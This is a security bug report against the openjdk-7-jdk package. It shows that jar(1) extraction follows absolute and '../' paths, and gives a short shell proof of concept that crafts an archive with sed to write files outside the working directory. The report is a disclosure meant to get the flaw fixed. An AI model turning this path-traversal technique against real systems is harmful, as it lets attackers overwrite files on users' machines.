Package: openjdk-7-jdk
Version: 7u71-2.5.3-2
Tags: security
jar(1) is susceptible to a directory traversal vulnerability. While
extracting an archive, it will happily use absolute and relative paths
taken from the archive. This can be exploited by a malicious archive to
write files outside the current directory.
For example, let's create a sample archive:
$ mkdir Xtmp/ XX/
$ touch Xtmp/abs XX/rel
$ jar -cMvf test.jar Xtmp/abs XX/rel
$ sed -i 's|Xtmp/|/tmp/|g;s|XX/|../|g' test.jar
$ rm -r Xtmp/ XX/
and then test it:
$ ls /tmp/abs ../rel
ls: cannot access /tmp/abs: No such file or directory
ls: cannot access ../rel: No such file or directory
$ jar -xvf test.jar
extracted: /tmp/abs
extracted: ../rel
$ ls /tmp/abs ../rel
../rel /tmp/abs
My `jar` points to /etc/alternatives/jar, which points to
/usr/lib/jvm/java-7-openjdk-amd64/bin/jar .
Not sure if this is just CVE-2005-1080 not fixed or something else. But
please note that CVE-2005-1080 talks about .. only.
